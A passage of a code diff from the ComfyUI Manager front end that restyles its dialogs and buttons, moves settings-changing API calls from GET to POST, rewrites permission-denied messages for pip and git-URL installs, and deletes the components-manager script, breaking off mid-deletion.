'flex-direction': 'column',
'pointer-events': 'auto',
'margin': '0px',
},
role: 'dialog',
ariaModal: 'true',
// [TODO]
// ariaLabbelledby: 'cm-title',
// maximized: 'false',
// data-pc-name: 'dialog',
// data-pc-section: 'root',
// data-pd-focustrap: 'true'
},
[ dialog_header, contentFrame ]
);
const hidden_accessible = $el("span.p-hidden-accessible.p-hidden-focusable", {
parent: manager_dialog,
tabindex: "0",
role: "presentation",
ariaHidden: "true",
"data-p-hidden-accessible": "true",
"data-p-hidden-focusable": "true",
"data-pc-section": "firstfocusableelement"
});
return dialog_mask;
}
+112 -173
View File
@@ -16,10 +16,10 @@ import {
rebootAPI, setManagerInstance, show_message, customAlert, customPrompt,
infoToast, showTerminal, setNeedRestart, generateUUID
} from "./common.js";
import { ComponentBuilderDialog, load_components, set_component_policy } from "./components-manager.js";
import { CustomNodesManager } from "./custom-nodes-manager.js";
import { ModelManager } from "./model-manager.js";
import { SnapshotManager } from "./snapshot.js";
import { buildGuiFrame, createSettingsCombo } from "./comfyui-gui-builder.js";
let manager_version = await getVersion();
@@ -44,12 +44,16 @@ docStyle.innerHTML = `
#cm-manager-dialog {
width: 1000px;
height: 455px;
height: auto;
box-sizing: content-box;
z-index: 1000;
overflow-y: auto;
}
#cm-manager-dialog br {
margin-bottom: 1em;
}
.cb-widget {
width: 400px;
height: 25px;
@@ -80,6 +84,7 @@ docStyle.innerHTML = `
}
.cm-menu-container {
padding : calc(var(--spacing)*2);
column-gap: 20px;
display: flex;
flex-wrap: wrap;
@@ -140,8 +145,8 @@ docStyle.innerHTML = `
}
.cm-notice-board {
width: 290px;
height: 230px;
width: auto;
height: 280px;
overflow: auto;
color: var(--input-text);
border: 1px solid var(--descrip-text);
@@ -237,68 +242,50 @@ var batch_id = null;
// copied style from https://github.com/pythongosssss/ComfyUI-Custom-Scripts
const style = `
#workflowgallery-button {
width: 310px;
height: 27px;
height: 50px;
padding: 0px !important;
position: relative;
overflow: hidden;
font-size: 17px !important;
}
#cm-nodeinfo-button {
width: 310px;
height: 27px;
padding: 0px !important;
position: relative;
overflow: hidden;
font-size: 17px !important;
}
#cm-manual-button {
width: 310px;
height: 27px;
position: relative;
overflow: hidden;
}
.cm-button {
width: 310px;
height: 30px;
width: auto;
position: relative;
overflow: hidden;
font-size: 17px !important;
background-color: var(--comfy-menu-secondary-bg);
border-color: var(--border-color);
color: var(--input-text);
}
.cm-button:hover {
filter: brightness(125%);
}
.cm-button-red {
width: 310px;
height: 30px;
position: relative;
overflow: hidden;
font-size: 17px !important;
background-color: #500000 !important;
border-color: #88181b !important;
color: white !important;
}
.cm-button-red:hover {
background-color: #88181b !important;
}
.cm-button-orange {
width: 310px;
height: 30px;
position: relative;
overflow: hidden;
font-size: 17px !important;
font-weight: bold;
background-color: orange !important;
color: black !important;
}
.cm-experimental-button {
width: 290px;
height: 30px;
position: relative;
overflow: hidden;
font-size: 17px !important;
width: 100%;
}
.cm-experimental {
width: 310px;
border: 1px solid #555;
border-radius: 5px;
padding: 10px;
@@ -325,8 +312,14 @@ const style = `
.cm-menu-combo {
cursor: pointer;
width: 310px;
box-sizing: border-box;
padding: 0.5em 0.5em;
border: 1px solid var(--border-color);
border-radius: 6px;
background: var(--comfy-menu-secondary-bg);
}
.cm-menu-combo:hover {
filter: brightness(125%);
}
.cm-small-button {
@@ -635,14 +628,23 @@ async function switchComfyUI() {
showVersionSelectorDialog(versions, obj.current, async (selected_version) => {
if(selected_version == 'nightly') {
update_policy_combo.value = 'nightly-comfyui';
api.fetchApi('/v2/manager/policy/update?value=nightly-comfyui');
api.fetchApi('/v2/manager/policy/update', { method: 'POST', body: JSON.stringify({value: 'nightly-comfyui'}) });
}
else {
update_policy_combo.value = 'stable-comfyui';
api.fetchApi('/v2/manager/policy/update?value=stable-comfyui');
api.fetchApi('/v2/manager/policy/update', { method: 'POST', body: JSON.stringify({value: 'stable-comfyui'}) });
}
let response = await api.fetchApi(`/v2/comfyui_manager/comfyui_switch_version?ver=${selected_version}`, { cache: "no-store" });
let response = await api.fetchApi('/v2/comfyui_manager/comfyui_switch_version', {
method: 'POST',
cache: "no-store",
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
ver: selected_version,
client_id: api.clientId,
ui_id: api.clientId,
}),
});
if (response.status == 200) {
infoToast(`ComfyUI version is switched to ${selected_version}`);
}
@@ -804,7 +806,7 @@ function restartOrStop() {
rebootAPI();
}
else {
api.fetchApi('/v2/manager/queue/reset');
api.fetchApi('/v2/manager/queue/reset', { method: 'POST' });
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
}
}
@@ -816,7 +818,7 @@ class ManagerMenuDialog extends ComfyDialog {
const isElectron = 'electronAPI' in window;
update_comfyui_button =
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Update ComfyUI",
style: {
@@ -827,7 +829,7 @@ class ManagerMenuDialog extends ComfyDialog {
});
switch_comfyui_button =
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Switch ComfyUI",
style: {
@@ -838,7 +840,7 @@ class ManagerMenuDialog extends ComfyDialog {
});
restart_stop_button =
$el("button.cm-button-red", {
$el("button.p-button.p-component.cm-button-red", {
type: "button",
textContent: "Restart",
onclick: () => restartOrStop()
@@ -846,7 +848,7 @@ class ManagerMenuDialog extends ComfyDialog {
if(isElectron) {
update_all_button =
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Update All Custom Nodes",
onclick:
@@ -855,7 +857,7 @@ class ManagerMenuDialog extends ComfyDialog {
}
else {
update_all_button =
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Update All",
onclick:
@@ -865,7 +867,7 @@ class ManagerMenuDialog extends ComfyDialog {
const res =
[
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Custom Nodes Manager",
onclick:
@@ -877,7 +879,7 @@ class ManagerMenuDialog extends ComfyDialog {
}
}),
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Install Missing Custom Nodes",
onclick:
@@ -889,7 +891,7 @@ class ManagerMenuDialog extends ComfyDialog {
}
}),
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Custom Nodes In Workflow",
onclick:
@@ -901,8 +903,8 @@ class ManagerMenuDialog extends ComfyDialog {
}
}),
$el("br", {}, []),
$el("button.cm-button", {
$el("div", {}, []),
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Model Manager",
onclick:
@@ -914,7 +916,7 @@ class ManagerMenuDialog extends ComfyDialog {
}
}),
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Install via Git URL",
onclick: async () => {
@@ -926,13 +928,13 @@ class ManagerMenuDialog extends ComfyDialog {
}
}),
$el("br", {}, []),
$el("div", {}, []),
update_all_button,
update_comfyui_button,
switch_comfyui_button,
// fetch_updates_button,
$el("br", {}, []),
$el("div", {}, []),
restart_stop_button,
];
@@ -945,42 +947,28 @@ class ManagerMenuDialog extends ComfyDialog {
let self = this;
// db mode
this.datasrc_combo = document.createElement("select");
this.datasrc_combo.setAttribute("title", "Configure where to retrieve node/model information. If set to 'local,' the channel is ignored, and if set to 'channel (remote),' it fetches the latest information each time the list is opened.");
this.datasrc_combo.className = "cm-menu-combo";
this.datasrc_combo.appendChild($el('option', { value: 'cache', text: 'DB: Channel (1day cache)' }, []));
this.datasrc_combo.appendChild($el('option', { value: 'local', text: 'DB: Local' }, []));
this.datasrc_combo.appendChild($el('option', { value: 'remote', text: 'DB: Channel (remote)' }, []));
this.datasrc_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled ";
this.datasrc_combo.appendChild($el('option', { value: 'cache', text: 'Channel (1day cache)' }, []));
this.datasrc_combo.appendChild($el('option', { value: 'local', text: 'Local' }, []));
this.datasrc_combo.appendChild($el('option', { value: 'remote', text: 'Channel (remote)' }, []));
api.fetchApi('/v2/manager/db_mode')
.then(response => response.text())
.then(data => { this.datasrc_combo.value = data; });
this.datasrc_combo.addEventListener('change', function (event) {
api.fetchApi(`/v2/manager/db_mode?value=${event.target.value}`);
api.fetchApi('/v2/manager/db_mode', { method: 'POST', body: JSON.stringify({value: event.target.value}) });
});
// preview method
let preview_combo = document.createElement("select");
preview_combo.setAttribute("title", "Configure how latent variables will be decoded during preview in the sampling process.");
preview_combo.className = "cm-menu-combo";
preview_combo.appendChild($el('option', { value: 'auto', text: 'Preview method: Auto' }, []));
preview_combo.appendChild($el('option', { value: 'taesd', text: 'Preview method: TAESD (slow)' }, []));
preview_combo.appendChild($el('option', { value: 'latent2rgb', text: 'Preview method: Latent2RGB (fast)' }, []));
preview_combo.appendChild($el('option', { value: 'none', text: 'Preview method: None (very fast)' }, []));
api.fetchApi('/v2/manager/preview_method')
.then(response => response.text())
.then(data => { preview_combo.value = data; });
preview_combo.addEventListener('change', function (event) {
api.fetchApi(`/v2/manager/preview_method?value=${event.target.value}`);
});
const dbRetrievalSetttingItem = createSettingsCombo("DB", this.datasrc_combo);
// channel
let channel_combo = document.createElement("select");
channel_combo.setAttribute("title", "Configure the channel for retrieving data from the Custom Node list (including missing nodes) or the Model list.");
channel_combo.className = "cm-menu-combo";
channel_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
api.fetchApi('/v2/manager/channel_url_list')
.then(response => response.json())
.then(async data => {
@@ -989,12 +977,12 @@ class ManagerMenuDialog extends ComfyDialog {
for (let i in urls) {
if (urls[i] != '') {
let name_url = urls[i].split('::');
channel_combo.appendChild($el('option', { value: name_url[0], text: `Channel: ${name_url[0]}` }, []));
channel_combo.appendChild($el('option', { value: name_url[0], text: `${name_url[0]}` }, []));
}
}
channel_combo.addEventListener('change', function (event) {
api.fetchApi(`/v2/manager/channel_url_list?value=${event.target.value}`);
api.fetchApi('/v2/manager/channel_url_list', { method: 'POST', body: JSON.stringify({value: event.target.value}) });
});
channel_combo.value = data.selected;
@@ -1004,11 +992,13 @@ class ManagerMenuDialog extends ComfyDialog {
}
});
const channelSetttingItem = createSettingsCombo("Channel", channel_combo);
// share
let share_combo = document.createElement("select");
share_combo.setAttribute("title", "Hide the share button in the main menu or set the default action upon clicking it. Additionally, configure the default share site when sharing via the context menu's share button.");
share_combo.className = "cm-menu-combo";
share_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
const share_options = [
['none', 'None'],
['openart', 'OpenArt AI'],
@@ -1019,7 +1009,7 @@ class ManagerMenuDialog extends ComfyDialog {
['all', 'All'],
];
for (const option of share_options) {
share_combo.appendChild($el('option', { value: option[0], text: `Share: ${option[1]}` }, []));
share_combo.appendChild($el('option', { value: option[0], text: `${option[1]}` }, []));
}
api.fetchApi('/v2/manager/share_option')
@@ -1041,33 +1031,14 @@ class ManagerMenuDialog extends ComfyDialog {
}
});
let component_policy_combo = document.createElement("select");
component_policy_combo.setAttribute("title", "When loading the workflow, configure which version of the component to use.");
component_policy_combo.className = "cm-menu-combo";
component_policy_combo.appendChild($el('option', { value: 'workflow', text: 'Component: Use workflow version' }, []));
component_policy_combo.appendChild($el('option', { value: 'higher', text: 'Component: Use higher version' }, []));
component_policy_combo.appendChild($el('option', { value: 'mine', text: 'Component: Use my version' }, []));
api.fetchApi('/v2/manager/policy/component')
.then(response => response.text())
.then(data => {
component_policy_combo.value = data;
set_component_policy(data);
});
component_policy_combo.addEventListener('change', function (event) {
api.fetchApi(`/v2/manager/policy/component?value=${event.target.value}`);
set_component_policy(event.target.value);
});
const shareSetttingItem = createSettingsCombo("Share", share_combo);
update_policy_combo = document.createElement("select");
if(isElectron)
update_policy_combo.style.display = 'none';
update_policy_combo.setAttribute("title", "Sets the policy to be applied when performing an update.");
update_policy_combo.className = "cm-menu-combo";
update_policy_combo.appendChild($el('option', { value: 'stable-comfyui', text: 'Update: ComfyUI Stable Version' }, []));
update_policy_combo.appendChild($el('option', { value: 'nightly-comfyui', text: 'Update: ComfyUI Nightly Version' }, []));
update_policy_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
update_policy_combo.appendChild($el('option', { value: 'stable-comfyui', text: 'ComfyUI Stable Version' }, []));
update_policy_combo.appendChild($el('option', { value: 'nightly-comfyui', text: 'ComfyUI Nightly Version' }, []));
api.fetchApi('/v2/manager/policy/update')
.then(response => response.text())
.then(data => {
@@ -1075,23 +1046,23 @@ class ManagerMenuDialog extends ComfyDialog {
});
update_policy_combo.addEventListener('change', function (event) {
api.fetchApi(`/v2/manager/policy/update?value=${event.target.value}`);
api.fetchApi('/v2/manager/policy/update', { method: 'POST', body: JSON.stringify({value: event.target.value}) });
});
return [
$el("br", {}, []),
this.datasrc_combo,
channel_combo,
preview_combo,
share_combo,
component_policy_combo,
update_policy_combo,
$el("br", {}, []),
const updateSetttingItem = createSettingsCombo("Update", update_policy_combo);
if(isElectron)
updateSetttingItem.style.display = 'none';
$el("br", {}, []),
$el("filedset.cm-experimental", {}, [
return [
dbRetrievalSetttingItem,
channelSetttingItem,
shareSetttingItem,
updateSetttingItem,
//[TODO] replace mt-2 with wrapper div with flex column gap
$el("filedset.cm-experimental.mt-auto", {}, [
$el("legend.cm-experimental-legend", {}, ["EXPERIMENTAL"]),
$el("button.cm-experimental-button", {
$el("button.p-button.p-component.cm-button.cm-experimental-button", {
type: "button",
textContent: "Snapshot Manager",
onclick:
@@ -1101,7 +1072,7 @@ class ManagerMenuDialog extends ComfyDialog {
SnapshotManager.instance.show();
}
}),
$el("button.cm-experimental-button", {
$el("button.p-button.p-component.cm-button.cm-experimental-button.mt-2", {
type: "button",
textContent: "Install PIP packages",
onclick:
@@ -1119,7 +1090,7 @@ class ManagerMenuDialog extends ComfyDialog {
createControlsRight() {
const elts = [
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
id: 'cm-manual-button',
type: "button",
textContent: "Community Manual",
@@ -1170,11 +1141,11 @@ class ManagerMenuDialog extends ComfyDialog {
})
]),
$el("button", {
$el("button.p-button.p-component.cm-button", {
id: 'workflowgallery-button',
type: "button",
style: {
...(localStorage.getItem("wg_last_visited") ? {height: '50px'} : {})
// ...(localStorage.getItem("wg_last_visited") ? {height: '50px'} : {})
},
onclick: (e) => {
const last_visited_site = localStorage.getItem("wg_last_visited")
@@ -1197,7 +1168,7 @@ class ManagerMenuDialog extends ComfyDialog {
}, [
$el("p", {
id: 'workflowgallery-button-last-visited-label',
textContent: `(${localStorage.getItem("wg_last_visited") ? localStorage.getItem("wg_last_visited").split('/')[2] : ''})`,
textContent: `(${localStorage.getItem("wg_last_visited") ? localStorage.getItem("wg_last_visited").split('/')[2] : 'none selected'})`,
style: {
'text-align': 'center',
'color': 'var(--input-text)',
@@ -1213,13 +1184,12 @@ class ManagerMenuDialog extends ComfyDialog {
})
]),
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
id: 'cm-nodeinfo-button',
type: "button",
textContent: "Nodes Info",
onclick: () => { window.open("https://ltdrdata.github.io/", "comfyui-node-info"); }
}),
$el("br", {}, []),
];
var textarea = document.createElement("div");
@@ -1234,31 +1204,23 @@ class ManagerMenuDialog extends ComfyDialog {
constructor() {
super();
const close_button = $el("button", { id: "cm-close-button", type: "button", textContent: "Close", onclick: () => this.close() });
const content = $el("div.cm-menu-container",
[
$el("div.cm-menu-column.gap-2", [...this.createControlsLeft()]),
$el("div.cm-menu-column.gap-2", [...this.createControlsMid()]),
$el("div.cm-menu-column.gap-2", [...this.createControlsRight()])
]
);
const content =
$el("div.comfy-modal-content",
[
$el("tr.cm-title", {}, [
$el("font", {size:6, color:"white"}, [`ComfyUI Manager ${manager_version}`])]
),
$el("br", {}, []),
$el("div.cm-menu-container",
[
$el("div.cm-menu-column", [...this.createControlsLeft()]),
$el("div.cm-menu-column", [...this.createControlsMid()]),
$el("div.cm-menu-column", [...this.createControlsRight()])
]),
const frame = buildGuiFrame(
'cm-manager-dialog', // dialog id
`ComfyUI Manager ${manager_version}`, // dialog title
"i.mdi.mdi-puzzle", // dialog icon class to show before title
content, // dialog content element
this
); // send this so we can attach close functions
$el("br", {}, []),
close_button,
]
);
content.style.width = '100%';
content.style.height = '100%';
this.element = $el("div.comfy-modal", { id:'cm-manager-dialog', parent: document.body }, [ content ]);
this.element = frame;
}
get isVisible() {
@@ -1266,7 +1228,7 @@ class ManagerMenuDialog extends ComfyDialog {
}
show() {
this.element.style.display = "block";
this.element.style.display = "flex";
}
toggleVisibility() {
@@ -1435,14 +1397,6 @@ app.registerExtension({
});
},
async setup() {
let orig_clear = app.graph.clear;
app.graph.clear = function () {
orig_clear.call(app.graph);
load_components();
};
load_components();
const menu = document.querySelector(".comfy-menu");
const separator = document.createElement("hr");
@@ -1514,8 +1468,6 @@ app.registerExtension({
tooltip: "Share"
}).element
);
app.menu?.settingsGroup.element.before(cmGroup.element);
}
catch(exception) {
console.log('ComfyUI is outdated. New style menu based features are disabled.');
@@ -1573,19 +1525,6 @@ app.registerExtension({
node.prototype.getExtraMenuOptions = function (_, options) {
origGetExtraMenuOptions?.apply?.(this, arguments);
if (node.category.startsWith('group nodes>')) {
options.push({
content: "Save As Component",
callback: (obj) => {
if (!ComponentBuilderDialog.instance) {
ComponentBuilderDialog.instance = new ComponentBuilderDialog();
}
ComponentBuilderDialog.instance.target_node = node;
ComponentBuilderDialog.instance.show();
}
}, null);
}
if (isOutputNode(node)) {
const { potential_outputs } = getPotentialOutputsAndOutputNodes([this]);
const hasOutput = potential_outputs.length > 0;
@@ -552,6 +552,20 @@ export class ShareDialog extends ComfyDialog {
this.matrix_destination_checkbox.style.color = "var(--fg-color)";
this.matrix_destination_checkbox.checked = this.share_option === 'matrix'; //true;
try {
api.fetchApi(`/v2/manager/get_matrix_dep_status`)
.then(response => response.text())
.then(data => {
if(data == 'unavailable') {
matrix_destination_checkbox_text.style.textDecoration = "line-through";
this.matrix_destination_checkbox.disabled = true;
this.matrix_destination_checkbox.title = "It has been disabled because the 'matrix-nio' dependency is not installed. Please install this dependency to use the matrix sharing feature.";
matrix_destination_checkbox_text.title = "It has been disabled because the 'matrix-nio' dependency is not installed. Please install this dependency to use the matrix sharing feature.";
}
})
.catch(error => {});
} catch (error) {}
this.comfyworkflows_destination_checkbox = $el("input", { type: 'checkbox', id: "comfyworkflows_destination" }, [])
const comfyworkflows_destination_checkbox_text = $el("label", {}, [" ComfyWorkflows.com"])
this.comfyworkflows_destination_checkbox.style.color = "var(--fg-color)";
+18 -8
View File
@@ -201,13 +201,15 @@ export class CopusShareDialog extends ComfyDialog {
});
this.LockInput = $el("input", {
type: "text",
placeholder: "",
placeholder: "0",
style: {
width: "100px",
padding: "7px",
paddingLeft: "30px",
borderRadius: "4px",
border: "1px solid #ddd",
boxSizing: "border-box",
position: "relative",
},
oninput: (event) => {
let input = event.target.value;
@@ -375,7 +377,7 @@ export class CopusShareDialog extends ComfyDialog {
});
const blockChainSection_lock = $el("div", { style: sectionStyle }, [
$el("label", { style: labelStyle }, ["6️⃣ Pay to download"]),
$el("label", { style: labelStyle }, ["6️⃣ Download threshold"]),
$el(
"label",
{
@@ -395,6 +397,7 @@ export class CopusShareDialog extends ComfyDialog {
marginLeft: "5px",
display: "flex",
alignItems: "center",
position: "relative",
},
},
[
@@ -408,8 +411,18 @@ export class CopusShareDialog extends ComfyDialog {
color: "#fff",
},
},
["Price US$"]
["Unlock with"]
),
$el("img", {
style: {
width: "16px",
height: "16px",
position: "absolute",
right: "75px",
zIndex: "100",
},
src: "https://static.copus.io/images/admin/202507/prod/e2919a1d8f3c2d99d3b8fe27ff94b841.png",
}),
this.LockInput,
]
),
@@ -420,7 +433,7 @@ export class CopusShareDialog extends ComfyDialog {
{ style: { display: "flex", alignItems: "center", cursor: "pointer" } },
[
this.radioButtonsCheckOff_lock,
$el(
$el(
"div",
{
style: {
@@ -429,9 +442,7 @@ export class CopusShareDialog extends ComfyDialog {
alignItems: "center",
},
},
[
$el("span", { style: { marginLeft: "5px" } }, ["OFF"]),
]
[$el("span", { style: { marginLeft: "5px" } }, ["OFF"])]
),
]
),
@@ -440,7 +451,6 @@ export class CopusShareDialog extends ComfyDialog {
"p",
{ style: { fontSize: "16px", color: "#fff", margin: "10px 0 0 0" } },
[
"Get paid from your workflow. You can change the price and withdraw your earnings on Copus.",
]
),
]);
+3 -3
View File
@@ -172,7 +172,7 @@ export function rebootAPI() {
customConfirm("Are you sure you'd like to reboot the server?").then((isConfirmed) => {
if (isConfirmed) {
try {
api.fetchApi("/v2/manager/reboot");
api.fetchApi("/v2/manager/reboot", { method: 'POST' });
}
catch(exception) {}
}
@@ -216,7 +216,7 @@ export async function install_pip(packages) {
});
if(res.status == 403) {
show_message('This action is not allowed with this security level configuration.');
show_message("To use this feature, set <code>allow_pip_install = true</code> in the [default] section of config.ini. This setting is independent of security_level.<BR>Note: if the ComfyUI listener is not local, <code>network_mode = personal_cloud</code> is also required.");
return;
}
@@ -251,7 +251,7 @@ export async function install_via_git_url(url, manager_dialog) {
});
if(res.status == 403) {
show_message('This action is not allowed with this security level configuration.');
show_message("To use this feature, set <code>allow_git_url_install = true</code> in the [default] section of config.ini. This setting is independent of security_level.<BR>Note: if the ComfyUI listener is not local, <code>network_mode = personal_cloud</code> is also required.");
return;
}
-812
View File
@@ -1,812 +0,0 @@
import { app } from "../../scripts/app.js";
import { api } from "../../scripts/api.js"
import { sleep, show_message, customConfirm, customAlert } from "./common.js";
import { GroupNodeConfig, GroupNodeHandler } from "../../extensions/core/groupNode.js";
import { ComfyDialog, $el } from "../../scripts/ui.js";
const SEPARATOR = ">"
let pack_map = {};
let rpack_map = {};
export function getPureName(node) {
// group nodes/
let category = null;
if(node.category) {
category = node.category.substring(12);
}
else {
category = node.constructor.category?.substring(12);
}
if(category) {
let purename = node.comfyClass.substring(category.length+1);
return purename;
}
else if(node.comfyClass.startsWith('workflow/') || node.comfyClass.startsWith(`workflow${SEPARATOR}`)) {
return node.comfyClass.substring(9);
}
else {
return node.comfyClass;
}
}
function isValidVersionString(version) {
const versionPattern = /^(\d+)\.(\d+)(\.(\d+))?$/;
const match = version.match(versionPattern);
return match !== null &&
parseInt(match[1], 10) >= 0 &&
parseInt(match[2], 10) >= 0 &&
(!match[3] || parseInt(match[4], 10) >= 0);
}
function register_pack_map(name, data) {
if(data.packname) {
pack_map[data.packname] = name;
rpack_map[name] = data;
}
else {
rpack_map[name] = data;
}
}
function storeGroupNode(name, data, register=true) {
let extra = app.graph.extra;
if (!extra) app.graph.extra = extra = {};
let groupNodes = extra.groupNodes;
if (!groupNodes) extra.groupNodes = groupNodes = {};
groupNodes[name] = data;
if(register) {
register_pack_map(name, data);
}
}
export async function load_components() {
let data = await api.fetchApi('/v2/manager/component/loads', {method: "POST"});
let components = await data.json();
let start_time = Date.now();
let failed = [];
let failed2 = [];
for(let name in components) {
if(app.graph.extra?.groupNodes?.[name]) {
if(data) {
let data = components[name];
let category = data.packname;
if(data.category) {
category += SEPARATOR + data.category;
}
if(category == '') {
category = 'components';
}
const config = new GroupNodeConfig(name, data);
await config.registerType(category);
register_pack_map(name, data);
continue;
}
}
let nodeData = components[name];
storeGroupNode(name, nodeData);
const config = new GroupNodeConfig(name, nodeData);
while(true) {
try {
let category = nodeData.packname;
if(nodeData.category) {
category += SEPARATOR + nodeData.category;
}
if(category == '') {
category = 'components';
}
await config.registerType(category);
register_pack_map(name, nodeData);
break;
}
catch {
let elapsed_time = Date.now() - start_time;
if (elapsed_time > 5000) {
failed.push(name);
break;
} else {
await sleep(100);
}
}
}
}
// fallback1
for(let i in failed) {
let name = failed[i];
if(app.graph.extra?.groupNodes?.[name]) {
continue;
}
let nodeData = components[name];
storeGroupNode(name, nodeData);
const config = new GroupNodeConfig(name, nodeData);
while(true) {
try {
let category = nodeData.packname;
if(nodeData.workflow.category) {
category += SEPARATOR + nodeData.category;
}
if(category == '') {
category = 'components';
}
await config.registerType(category);
register_pack_map(name, nodeData);
break;
}
catch {
let elapsed_time = Date.now() - start_time;
if (elapsed_time > 10000) {
failed2.push(name);
break;
} else {
await sleep(100);
}
}
}
}
// fallback2
for(let name in failed2) {
let name = failed2[i];
let nodeData = components[name];
storeGroupNode(name, nodeData);
const config = new GroupNodeConfig(name, nodeData);
while(true) {
try {
let category = nodeData.workflow.packname;
if(nodeData.workflow.category) {
category += SEPARATOR + nodeData.category;
}
if(category == '') {
category = 'components';
}
await config.registerType(category);
register_pack_map(name, nodeData);
break;
}
catch {
let elapsed_time = Date.now() - start_time;
if (elapsed_time > 30000) {
failed.push(name);
break;
} else {
await sleep(100);
}
}
}
}
}
async function save_as_component(node, version, author, prefix, nodename, packname, category) {
let component_name = `${prefix}::${nodename}`;
let subgraph = app.graph.extra?.groupNodes?.[component_name];
if(!subgraph) {
subgraph = app.graph.extra?.groupNodes?.[getPureName(node)];
}
subgraph.version = version;
subgraph.author = author;
subgraph.datetime = Date.now();
subgraph.packname = packname;
subgraph.category = category;
let body =
{
name: component_name,
workflow: subgraph
};
pack_map[packname] = component_name;
rpack_map[component_name] = subgraph;
const res = await api.fetchApi('/v2/manager/component/save', {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(body),
});
if(res.status == 200) {
storeGroupNode(component_name, subgraph);
const config = new GroupNodeConfig(component_name, subgraph);
let category = body.workflow.packname;
if(body.workflow.category) {
category += SEPARATOR + body.workflow.category;
}
if(category == '') {
category = 'components';
}
await config.registerType(category);
let path = await res.text();
show_message(`Component '${component_name}' is saved into:\n${path}`);
}
else
show_message(`Failed to save component.`);
}
async function import_component(component_name, component, mode) {
if(mode) {
let body =
{
name: component_name,
workflow: component
};
const res = await api.fetchApi('/v2/manager/component/save', {
method: "POST",
headers: { "Content-Type": "application/json", },
body: JSON.stringify(body)
});
}
let category = component.packname;
if(component.category) {
category += SEPARATOR + component.category;
}
if(category == '') {
category = 'components';
}
storeGroupNode(component_name, component);
const config = new GroupNodeConfig(component_name, component);
await config.registerType(category);
}
function restore_to_loaded_component(component_name) {
if(rpack_map[component_name]) {
let component = rpack_map[component_name];
storeGroupNode(component_name, component, false);
const config = new GroupNodeConfig(component_name, component);
config.registerType(component.category);
}
}
// Using a timestamp prevents duplicate pastes and ensures the prevention of re-deletion of litegrapheditor_clipboard.
let last_paste_timestamp = null;
function versionCompare(v1, v2) {
let ver1;
let ver2;
if(v1 && v1 != '') {
ver1 = v1.split('.');
ver1[0] = parseInt(ver1[0]);
ver1[1] = parseInt(ver1[1]);
if(ver1.length == 2)
ver1.push(0);
else
ver1[2] = parseInt(ver2[2]);
}
else {
ver1 = [0,0,0];
}
if(v2 && v2 != '') {
ver2 = v2.split('.');
ver2[0] = parseInt(ver2[0]);
ver2[1] = parseInt(ver2[1]);
if(ver2.length == 2)
ver2.push(0);
else
ver2[2] = parseInt(ver2[2]);
}
else {
ver2 = [0,0,0];
}
if(ver1[0] > ver2[0])
return -1;
else if(ver1[0] < ver2[0])
return 1;
if(ver1[1] > ver2[1])
return -1;
else if(ver1[1] < ver2[1])
return 1;
if(ver1[2] > ver2[2])
return -1;
else if(ver1[2] < ver2[2])
return 1;
return 0;
}
function checkVersion(name, component) {
let msg = '';
if(rpack_map[name]) {
let old_version = rpack_map[name].version;
if(!old_version || old_version == '') {
msg = ` '${name}' Upgrade (V0.0 -> V${component.version})`;
}
else {
let c = versionCompare(old_version, component.version);
if(c < 0) {
msg = ` '${name}' Downgrade (V${old_version} -> V${component.version})`;
}
else if(c > 0) {
msg = ` '${name}' Upgrade (V${old_version} -> V${component.version})`;
}
else {
msg = ` '${name}' Same version (V${component.version})`;
}
}
}
else {
msg = `'${name}' NEW (V${component.version})`;
}
return msg;
}
async function handle_import_components(components) {
let msg = 'Components:\n';
let cnt = 0;
for(let name in components) {
let component = components[name];
let v = checkVersion(name, component);
if(cnt < 10) {
msg += v + '\n';
}
else if (cnt == 10) {
msg += '...\n';
}
else {
// do nothing
}
cnt++;
}
let last_name = null;
msg += '\nWill you load components?\n';
const confirmed = await customConfirm(msg);
if(confirmed) {
const mode = await customConfirm('\nWill you save components?\n(cancel=load without save)');
for(let name in components) {
let component = components[name];
import_component(name, component, mode);
last_name = name;
}
if(mode) {
show_message('Components are saved.');
}
else {
show_message('Components are loaded.');
}
}
if(cnt == 1 && last_name) {
const node = LiteGraph.createNode(`workflow${SEPARATOR}${last_name}`);
node.pos = [app.canvas.graph_mouse[0], app.canvas.graph_mouse[1]];
app.canvas.graph.add(node, false);
}
}
async function handlePaste(e) {
let data = (e.clipboardData || window.clipboardData);
const items = data.items;
for(const item of items) {
if(item.kind == 'string' && item.type == 'text/plain') {
data = data.getData("text/plain");
try {
let json_data = JSON.parse(data);
if(json_data.kind == 'ComfyUI Components' && last_paste_timestamp != json_data.timestamp) {
last_paste_timestamp = json_data.timestamp;
await handle_import_components(json_data.components);
// disable paste node
localStorage.removeItem("litegrapheditor_clipboard", null);
}
else {
console.log('This components are already pasted: ignored');
}
}
catch {
// nothing to do
}
}
}
}
document.addEventListener("paste", handlePaste);
export class ComponentBuilderDialog extends ComfyDialog {
constructor() {
super();
}
clear() {
while (this.element.children.length) {
this.element.removeChild(this.element.children[0]);
}
}
show() {
this.invalidateControl();
this.element.style.display = "block";
this.element.style.zIndex = 1099;
this.element.style.width = "500px";
this.element.style.height = "480px";
}
invalidateControl() {
this.clear();
let self = this;
const close_button = $el("button", { id: "cm-close-button", type: "button", textContent: "Close", onclick: () => self.close() });
this.save_button = $el("button",
{ id: "cm-save-button", type: "button", textContent: "Save", onclick: () =>
{
